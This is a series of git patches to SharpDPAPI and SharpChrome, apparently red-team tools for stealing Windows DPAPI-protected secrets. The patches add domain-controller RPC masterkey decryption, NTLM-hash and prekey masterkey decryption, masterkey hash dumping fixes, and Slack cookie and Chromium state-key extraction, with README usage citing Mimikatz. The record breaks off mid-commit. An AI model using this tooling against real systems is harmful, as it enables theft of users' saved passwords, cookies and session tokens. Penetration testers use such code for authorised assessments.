--git a/SharpDPAPI/Commands/PS.cs b/SharpDPAPI/Commands/PS.cs index d15313f..9559aa8 100755 --- a/SharpDPAPI/Commands/PS.cs +++ b/SharpDPAPI/Commands/PS.cs @@ -65,6 +65,7 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/rpc")) { + Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); } diff --git a/SharpDPAPI/Commands/RDG.cs b/SharpDPAPI/Commands/RDG.cs index 323605f..6100363 100755 --- a/SharpDPAPI/Commands/RDG.cs +++ b/SharpDPAPI/Commands/RDG.cs @@ -62,6 +62,7 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/rpc")) { + Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); } diff --git a/SharpDPAPI/Commands/Triage.cs b/SharpDPAPI/Commands/Triage.cs index 30a136a..90f5170 100755 --- a/SharpDPAPI/Commands/Triage.cs +++ b/SharpDPAPI/Commands/Triage.cs @@ -32,7 +32,6 @@ public void Execute(Dictionary arguments) } if (arguments.ContainsKey("/pvk")) { - // use a domain DPAPI backup key to triage masterkeys masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments); } else if (arguments.ContainsKey("/mkfile")) @@ -54,6 +53,7 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/rpc")) { + Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); } diff --git a/SharpDPAPI/Commands/Vaults.cs b/SharpDPAPI/Commands/Vaults.cs index 4021566..dc9c947 100755 --- a/SharpDPAPI/Commands/Vaults.cs +++ b/SharpDPAPI/Commands/Vaults.cs @@ -54,6 +54,7 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/rpc")) { + Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); } diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index f11fc48..32abf39 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -47,6 +47,7 @@ public static void ShowUsage() /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys /password:X - first decrypt the current user's masterkeys using a plaintext password (works remotely) /server:SERVER - triage a remote server, assuming admin access + /rpc - attempt to decrypt user masterkeys by asking domaine controller to do so Arguments for the credentials|vaults|rdg|keepass|triage|blob|ps commands: @@ -58,6 +59,7 @@ public static void ShowUsage() /mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys + /rpc - attempt to decrypt user masterkeys by asking domaine controller to do so Targeting: /target:FILE/folder - triage a specific 'Credentials','.rdg|RDCMan.settings', 'blob', or 'ps' file location, or 'Vault' folder diff --git a/SharpDPAPI/lib/Bkrp.cs b/SharpDPAPI/lib/Bkrp.cs index 377b6ac..19effc7 100644 --- a/SharpDPAPI/lib/Bkrp.cs +++ b/SharpDPAPI/lib/Bkrp.cs @@ -1,20 +1,6 @@ -using Microsoft.Win32.SafeHandles; -using System; -using System.Collections; +using System; using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Runtime.ConstrainedExecution; using System.Runtime.InteropServices; -using System.Security; -using System.Security.Cryptography; -using System.Security.Permissions; -using System.Security.Principal; -using System.Text; namespace SharpDPAPI { @@ -347,27 +333,6 @@ private static void Unbind(IntPtr hBinding) RpcBindingFree(ref hBinding); } - private byte[] SessionKey; - - SecurityCallbackDelegate securityCallbackDelegate; - private delegate void SecurityCallbackDelegate(IntPtr context); - private void SecurityCallback(IntPtr context) - { - IntPtr SecurityContextHandle; - SecPkgContext_SessionKey sessionKey = new SecPkgContext_SessionKey(); - - int res = I_RpcBindingInqSecurityContext(context, out SecurityContextHandle); - if (res == 0) - { - res = QueryContextAttributes(SecurityContextHandle, 9, ref sessionKey); - if (res == 0) - { - SessionKey = new byte[sessionKey.SessionKeyLength]; - Marshal.Copy(sessionKey.SessionKey, SessionKey, 0, (int)sessionKey.SessionKeyLength); - } - } - } - private IntPtr GetProcStringHandle(int offset) { return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatStringBackuprKeyx64, offset); @@ -462,13 +427,12 @@ public Bkrp() } else { - InitializeStub(this.MS_BKRP_INTERFACE_ID, MIDL_ProcFormatStringBackuprKeyx86, MIDL_TypeFormatStringBackuprKeyx86, 4, 0); + InitializeStub(this.MS_BKRP_INTERFACE_ID, MIDL_ProcFormatStringBackuprKeyx86, MIDL_TypeFormatStringBackuprKeyx86, 1, 0); } } ~Bkrp() { - freeStub(); Uninitialize(); } @@ -480,7 +444,7 @@ public void Initialize(string server, string domain) if (this.hBind == IntPtr.Zero) throw new Exception("Unable to connect to the server " + server); } - catch (Exception e) + catch (Exception) { if (this.hBind != IntPtr.Zero) Unbind(this.hBind); @@ -524,7 +488,7 @@ public byte[] BackuprKey(byte[] domainKeyBytes) Marshal.Copy(ptr, managedArray, 0, 64); return managedArray; } - catch (Exception e) + catch (Exception) { throw new Exception("Error decrypting masterkey via RPC"); } @@ -535,7 +499,6 @@ public byte[] BackuprKey(byte[] domainKeyBytes) this.freeStub(); FreeTrackedMemoryAndRemoveTracking(); } - return null; } #endregion } From a76e5e8f5b29cf1c40c235fe27a0defe20b3c6ab Mon Sep 17 00:00:00 2001 From: Calvin Hedler Date: Mon, 28 Aug 2023 11:54:07 -0700 Subject: [PATCH 07/28] Swapped Managed API usage for their CryptoServiceProvider alternatives to solve issues on systems with 'Use FIPS compliant algorithms for encryption, hashing, and signing' enabled. --- SharpChrome/SQLite/csharp-sqlite-src/crypto.cs | 4 ++-- SharpDPAPI/lib/Crypto.cs | 10 +++++----- SharpDPAPI/lib/Dpapi.cs | 10 +++++----- SharpDPAPI/lib/Triage.cs | 2 +- 4 files changed, 13 insertions(+), 13 deletions(-) diff --git a/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs b/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs index 21c7f27..8c2db3f 100755 --- a/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs +++ b/SharpChrome/SQLite/csharp-sqlite-src/crypto.cs @@ -163,9 +163,9 @@ public codec_ctx Copy() const int CIPHER_ENCRYPT = 1; //#define CIPHER_ENCRYPT 1 #if NET_2_0 - static RijndaelManaged Aes = new RijndaelManaged(); + static RijndaelCryptoServiceProvider Aes = new RijndaelCryptoServiceProvider(); #else - static AesManaged Aes = new AesManaged(); + static AesCryptoServiceProvider Aes = new AesCryptoServiceProvider(); #endif /* BEGIN CRYPTO */ diff --git a/SharpDPAPI/lib/Crypto.cs b/SharpDPAPI/lib/Crypto.cs index 25079c0..e54fcd8 100755 --- a/SharpDPAPI/lib/Crypto.cs +++ b/SharpDPAPI/lib/Crypto.cs @@ -74,7 +74,7 @@ public static byte[] DecryptBlob(byte[] ciphertext, byte[] key, int algCrypt, Pa case 26128: // 26128 == CALG_AES_256 { // takes a byte array of ciphertext bytes and a key array, decrypt the blob with AES256 - var aesCryptoProvider = new AesManaged(); + var aesCryptoProvider = new AesCryptoServiceProvider(); var ivBytes = new byte[16]; @@ -139,7 +139,7 @@ public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash, b byte[] bufferI = Helpers.Combine(ipad, saltBytes); - using (var sha1 = new SHA1Managed()) + using (var sha1 = new SHA1CryptoServiceProvider()) { var sha1BufferI = sha1.ComputeHash(bufferI); @@ -182,7 +182,7 @@ public static byte[] DeriveKeyRaw(byte[] hashBytes, int algHash) if (algHash == 32772) { - using (var sha1 = new SHA1Managed()) + using (var sha1 = new SHA1CryptoServiceProvider()) { var ipadSHA1bytes = sha1.ComputeHash(ipad); var ppadSHA1bytes = sha1.ComputeHash(opad); @@ -250,7 +250,7 @@ public static byte[] AESDecrypt(byte[] key, byte[] IV, byte[] data) { // helper to AES decrypt a given blob with optional IV - var aesCryptoProvider = new AesManaged(); + var aesCryptoProvider = new AesCryptoServiceProvider(); aesCryptoProvider.Key = key; if (IV.Length != 0) @@ -266,7 +266,7 @@ public static byte[] AESDecrypt(byte[] key, byte[] IV, byte[] data) public static byte[] LSAAESDecrypt(byte[] key, byte[] data) { - var aesCryptoProvider = new AesManaged(); + var aesCryptoProvider = new AesCryptoServiceProvider(); aesCryptoProvider.Key = key; aesCryptoProvider.IV = new byte[16]; diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index 576b02d..73d8957 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -1753,7 +1753,7 @@ public static byte[] CalculateKeys(string password, string directory, bool domai if (!domain) { //Calculate SHA1 from user password - using (var sha1 = new SHA1Managed()) + using (var sha1 = new SHA1CryptoServiceProvider()) { sha1bytes_password = sha1.ComputeHash(utf16pass); } @@ -1848,7 +1848,7 @@ public static KeyValuePair DecryptMasterKey(byte[] masterKeyByte var masterKey = new byte[masterKeyLen]; Buffer.BlockCopy(domainKeyBytesDec, 8, masterKey, 0, masterKeyLen); - var sha1 = new SHA1Managed(); + var sha1 = new SHA1CryptoServiceProvider(); var masterKeySha1 = sha1.ComputeHash(masterKey); var masterKeySha1Hex = BitConverter.ToString(masterKeySha1).Replace("-", ""); @@ -1947,7 +1947,7 @@ private static byte[] DerivePreKey(byte[] shaBytes, int algHash, byte[] salt, in private static byte[] DecryptAes256HmacSha512(byte[] shaBytes, byte[] final, byte[] encData) { - var aesCryptoProvider = new AesManaged(); + var aesCryptoProvider = new AesCryptoServiceProvider(); var ivBytes = new byte[16]; Array.Copy(final, 32, ivBytes, 0, 16); @@ -1965,7 +1965,7 @@ private static byte[] DecryptAes256HmacSha512(byte[] shaBytes, byte[] final, byt var masterKeyFull = new byte[64]; Array.Copy(plaintextBytes, plaintextBytes.Length - masterKeyFull.Length, masterKeyFull, 0, masterKeyFull.Length); - using (var sha1 = new SHA1Managed()) + using (var sha1 = new SHA1CryptoServiceProvider()) { var masterKeySha1 = sha1.ComputeHash(masterKeyFull); @@ -1995,7 +1995,7 @@ private static byte[] DecryptTripleDESHmac(byte[] shaBytes, byte[] final, byte[] var masterKeyFull = new byte[64]; Array.Copy(plaintextBytes, plaintextBytes.Length - masterKeyFull.Length, masterKeyFull, 0, masterKeyFull.Length); - using (var sha1 = new SHA1Managed()) + using (var sha1 = new SHA1CryptoServiceProvider()) { var masterKeySha1 = sha1.ComputeHash(masterKeyFull); diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 1d1ca60..a4a773a 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -211,7 +211,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy bkrp.Initialize(DCIPAdress.ToString(), System.Environment.UserDomainName); var keyBytes = bkrp.BackuprKey(SharpDPAPI.Dpapi.GetDomainKey(masterKeyBytes)); var guid = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}"; - var sha1 = new SHA1Managed(); + var sha1 = new SHA1CryptoServiceProvider(); var masterKeySha1 = sha1.ComputeHash(keyBytes); var masterKeySha1Hex = BitConverter.ToString(masterKeySha1).Replace("-", ""); mappings.Add(guid, masterKeySha1Hex); From 421357327cf59320e7a324e6b4f6fa1ba3c27108 Mon Sep 17 00:00:00 2001 From: clod Date: Mon, 30 Oct 2023 17:45:49 +1300 Subject: [PATCH 08/28] When running as local admin and getting the hashes of all masterkeys for all the users, the SID of the user now matches the right one --- SharpDPAPI/lib/Triage.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 1d1ca60..ce94f74 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -198,7 +198,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy } else if (dumpHash) { - userSID = !String.IsNullOrEmpty(userSID) ? userSID : Dpapi.ExtractSidFromPath(file); + userSID = Dpapi.ExtractSidFromPath(file); plaintextMasterKey = Dpapi.FormatHash(masterKeyBytes, userSID, isDomain ? 3 : 1); } else if(rpc && isDomain) @@ -1219,4 +1219,4 @@ public static void TriageRDGFolder(Dictionary MasterKeys, string } } } -} \ No newline at end of file +} From 70ee50ce83bc85b41e0b8144515162a00975e725 Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Mon, 6 Nov 2023 17:17:08 -0800 Subject: [PATCH 09/28] add ability to specify local state file --- SharpChrome/lib/Chrome.cs | 62 +++++++++++++++++++++------------------ 1 file changed, 33 insertions(+), 29 deletions(-) diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs index 1b58cb2..dd245aa 100755 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -53,12 +53,12 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str // if we have a user folder as the target to triage userDirectories.Add(userFolder); } - else if(SharpDPAPI.Helpers.IsHighIntegrity()) + else if (SharpDPAPI.Helpers.IsHighIntegrity()) { - if($"{System.Security.Principal.WindowsIdentity.GetCurrent().User}" == "S-1-5-18") + if ($"{System.Security.Principal.WindowsIdentity.GetCurrent().User}" == "S-1-5-18") { // if we're SYSTEM - if(MasterKeys.Count > 0) + if (MasterKeys.Count > 0) { if (!quiet) { @@ -75,7 +75,7 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str return; } } - else if(MasterKeys.Count == 0) + else if (MasterKeys.Count == 0) { // if we're elevated but not SYSTEM, and no masterkeys are supplied, assume we're triaging just the current user if (!quiet) @@ -107,7 +107,7 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str } - foreach(string userDirectory in userDirectories) + foreach (string userDirectory in userDirectories) { var loginDataPath = ""; var aesStateKeyPath = ""; @@ -238,11 +238,11 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st { var cookiePath = ""; var aesStateKeyPath = ""; - + if (browser.ToLower() == "chrome") { cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", userDirectory); - if(!File.Exists(cookiePath)) + if (!File.Exists(cookiePath)) { cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies", userDirectory); } @@ -289,6 +289,7 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st public static void TriageStateKeys(Dictionary MasterKeys, string computerName = "", bool unprotect = false, string target = "", string userFolder = "") { + List aesKeyPaths = new List(); // triage all Chromium state keys we can reach List userDirectories = new List(); @@ -313,6 +314,10 @@ public static void TriageStateKeys(Dictionary MasterKeys, string userDirectories.AddRange(Directory.GetDirectories(userDirectoryBase)); } } + else if (File.Exists(target)) + { + aesKeyPaths.Add(target); + } else if (!String.IsNullOrEmpty(userFolder)) { // if we have a user folder as the target to triage @@ -359,19 +364,16 @@ public static void TriageStateKeys(Dictionary MasterKeys, string foreach (string userDirectory in userDirectories) { - string[] aesKeyPaths = new string[] - { - $"{userDirectory}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", - $"{userDirectory}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", - $"{userDirectory}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State" - }; + aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"); + aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State"); + aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State"); + } - foreach(var aesKeyPath in aesKeyPaths) + foreach (var aesKeyPath in aesKeyPaths) + { + if (File.Exists(aesKeyPath)) { - if (File.Exists(aesKeyPath)) - { - byte[] aesStateKey = GetStateKey(MasterKeys, aesKeyPath, unprotect, false); - } + byte[] aesStateKey = GetStateKey(MasterKeys, aesKeyPath, unprotect, false); } } } @@ -416,7 +418,7 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri Console.WriteLine("\r\n[X] Invalid format: {0}", displayFormat); return; } - + string query = "SELECT signon_realm, origin_url, username_value, password_value, times_used, cast(date_created as text) as date_created FROM logins"; List results = database.Query2(query, false); @@ -444,7 +446,8 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri decBytes = Encoding.ASCII.GetBytes(String.Format("--AES STATE KEY NEEDED--")); } } - else { + else + { // using the old method decBytes = SharpDPAPI.Dpapi.DescribeDPAPIBlob(passwordBytes, MasterKeys, "chrome", unprotect); } @@ -543,7 +546,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str // old - fails in some cases due to partial indexing :( //string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, is_secure, is_httponly, cast(last_access_utc as text) as last_access_utc, encrypted_value FROM cookies"; - + // new, seems to work with partial indexing?? "/giphy table flip" string query = "SELECT cast(creation_utc as text) as creation_utc, host_key, name, path, cast(expires_utc as text) as expires_utc, cast(last_access_utc as text) as last_access_utc, encrypted_value, samesite, is_secure, is_httponly FROM cookies"; List results = database.Query2(query, false); @@ -603,14 +606,14 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str } string secureFlag = isSecure > 0 ? "true" : "false"; - + if (!int.TryParse(row.column[9].Value.ToString(), out int isHttpOnly)) { throw new Exception($"Failed to parse int from {row.column[8].Value}"); } string httpOnly = isHttpOnly > 0 ? "true" : "false"; - + string sameSiteString = ""; switch (sameSite) { @@ -662,7 +665,8 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str } } } - else if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) { + else if (showAll || (expires > DateTime.UtcNow) || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) + { // if we're showing all, the cookie isn't expired, or the cookie doesn't have an expiration displayValue = true; } @@ -699,9 +703,9 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str { Console.WriteLine("},\r\n{"); } - + someResults = true; - + Console.WriteLine(" \"domain\": \"{0}\",", SharpDPAPI.Helpers.CleanForJSON(String.Format("{0}", row.column[1].Value))); if (setneverexpire) { @@ -754,7 +758,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str } } } - catch {} + catch { } } if (displayFormat.Equals("json") && someResults) @@ -776,7 +780,7 @@ public static string GetBase64EncryptedKey(string localStatePath) if (startIndex < 0) return ""; - + int keyIndex = startIndex + searchTerm.Length + 3; string tempVals = localStateData.Substring(keyIndex); @@ -861,7 +865,7 @@ public static byte[] GetStateKey(Dictionary MasterKeys, string l return stateKey; } - catch(Exception e) + catch (Exception e) { if (($"{e.Message}".Contains("Key not valid for use in specified state")) && (unprotect)) { From d241fef22d5ba4f0cf86647631dd9debd9921ad9 Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Tue, 7 Nov 2023 10:02:28 -0800 Subject: [PATCH 10/28] update docs --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 8be22a4..8019438 100755 --- a/README.md +++ b/README.md @@ -1311,7 +1311,7 @@ The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to o ### statekeys -The **statekeys** command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for `cookies` and `logins`. +By default, the **statekeys** command will search for Chromium-based browsers' (Chrome, Edge, and Brave) AES statekey files (e.g., 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypt them using the same type of arguments that can be supplied for `cookies` and `logins`. You may also supply the path to a specific state-key file using the `/target:` parameter (e.g., `"/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State"`). State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. From 4844a0fd79e64dec360f9bbd756ad42681a7a2bf Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Tue, 7 Nov 2023 10:10:34 -0800 Subject: [PATCH 11/28] added slack support to statekeys/cookies commands --- SharpChrome/lib/Chrome.cs | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs index dd245aa..9401c7c 100755 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -266,6 +266,11 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st } aesStateKeyPath = String.Format("{0}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State", userDirectory); } + else if (browser.ToLower() == "slack") + { + cookiePath = String.Format("{0}\\AppData\\Roaming\\Slack\\Network\\Cookies", userDirectory); + aesStateKeyPath = String.Format("{0}\\AppData\\Roaming\\Slack\\Local State", userDirectory); + } else { Console.WriteLine("[X] ERROR: only 'chrome', 'edge', and 'brave' are currently supported for browsers."); @@ -367,6 +372,7 @@ public static void TriageStateKeys(Dictionary MasterKeys, string aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"); aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State"); aesKeyPaths.Add($"{userDirectory}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State"); + aesKeyPaths.Add($"{userDirectory}\\AppData\\Roaming\\Slack\\Local State"); } foreach (var aesKeyPath in aesKeyPaths) From cda059a01c14ab6d9b524dc036766dc7e9069afb Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Tue, 7 Nov 2023 10:17:08 -0800 Subject: [PATCH 12/28] update docs --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 8019438..5dc4516 100755 --- a/README.md +++ b/README.md @@ -166,7 +166,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. /target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location /target:C:\Users\X\ - triage a specific user folder for any specified command /server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY) - /browser:X - triage 'chrome' (the default) or (chromium-based) 'edge' + /browser:X - triage 'chrome' (default), (chromium-based) 'edge', or 'slack' Output: /format:X - either 'csv' (default) or 'table' display @@ -1297,7 +1297,7 @@ If run from an elevated context, Login Data files for ALL users will be triaged, ### cookies -The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged. +The **cookies** command will search for Chromium 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. You can change the target application using the `/browser:` (e.g., edge, brave, slack). Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. @@ -1311,7 +1311,7 @@ The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to o ### statekeys -By default, the **statekeys** command will search for Chromium-based browsers' (Chrome, Edge, and Brave) AES statekey files (e.g., 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypt them using the same type of arguments that can be supplied for `cookies` and `logins`. You may also supply the path to a specific state-key file using the `/target:` parameter (e.g., `"/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State"`). +By default, the **statekeys** command will search for Chromium-based applications (Google Chrome, Edge, Brave, and Slack), locate their AES statekey files (e.g., 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State'), and decrypt them using the same type of arguments that can be supplied for `cookies` and `logins`. You may also supply the path to a specific state-key file using the `/target:` parameter (e.g., `"/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State"`). State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command. From 225a1fdcd7923194e10972357282fc6ea400020f Mon Sep 17 00:00:00 2001 From: Lee Christensen Date: Thu, 9 Nov 2023 15:50:56 -0800 Subject: [PATCH 13/28] loosen access/sharing when trying to read files --- SharpDPAPI/Commands/Search.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SharpDPAPI/Commands/Search.cs b/SharpDPAPI/Commands/Search.cs index 2866ba7..09b93b7 100644 --- a/SharpDPAPI/Commands/Search.cs +++ b/SharpDPAPI/Commands/Search.cs @@ -152,7 +152,7 @@ private void SearchFile(Dictionary arguments) private bool FileContainsDpapiBlob(string path, uint bytesToSearch) { var fileContents = new byte[bytesToSearch]; - using (var file = new FileStream(path, FileMode.Open)) + using (var file = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { file.Read(fileContents, 0, (int)bytesToSearch); } From b3482343ec828d33b30fb11b1df8884fc8cc0850 Mon Sep 17 00:00:00 2001 From: Will Date: Wed, 13 Dec 2023 18:03:56 -0800 Subject: [PATCH 14/28] Start of version 1.12.0 -Start of version 1.12.0 -Implemented masterkey decryption with the prekey -Standardized arguments across commands --- SharpChrome/Commands/Cookies.cs | 33 ++++--- SharpChrome/Commands/Logins.cs | 30 +++--- SharpChrome/Commands/Statekeys.cs | 27 ++++-- SharpDPAPI/Commands/Blob.cs | 32 ++++--- SharpDPAPI/Commands/Certificate.cs | 37 +++++--- SharpDPAPI/Commands/Credentials.cs | 26 +++--- SharpDPAPI/Commands/Keepass.cs | 26 +++--- SharpDPAPI/Commands/Masterkeys.cs | 144 +++++++++++++---------------- SharpDPAPI/Commands/PS.cs | 32 ++++--- SharpDPAPI/Commands/RDG.cs | 26 +++--- SharpDPAPI/Commands/Triage.cs | 26 +++--- SharpDPAPI/Commands/Vaults.cs | 26 +++--- SharpDPAPI/Domain/Version.cs | 2 +- SharpDPAPI/lib/Dpapi.cs | 86 +++++++++++------ SharpDPAPI/lib/Triage.cs | 25 +++-- 15 files changed, 319 insertions(+), 259 deletions(-) diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs index 5aa7263..54d950c 100755 --- a/SharpChrome/Commands/Cookies.cs +++ b/SharpChrome/Commands/Cookies.cs @@ -1,4 +1,5 @@ -using System; +using SharpDPAPI; +using System; using System.Collections.Generic; using System.IO; @@ -119,19 +120,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - if (!quiet) - { - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - } - if (arguments.ContainsKey("/server")) - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpChrome/Commands/Logins.cs b/SharpChrome/Commands/Logins.cs index 6248344..c544ba1 100755 --- a/SharpChrome/Commands/Logins.cs +++ b/SharpChrome/Commands/Logins.cs @@ -90,19 +90,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - if (!quiet) - { - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - } - if (arguments.ContainsKey("/server")) - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, 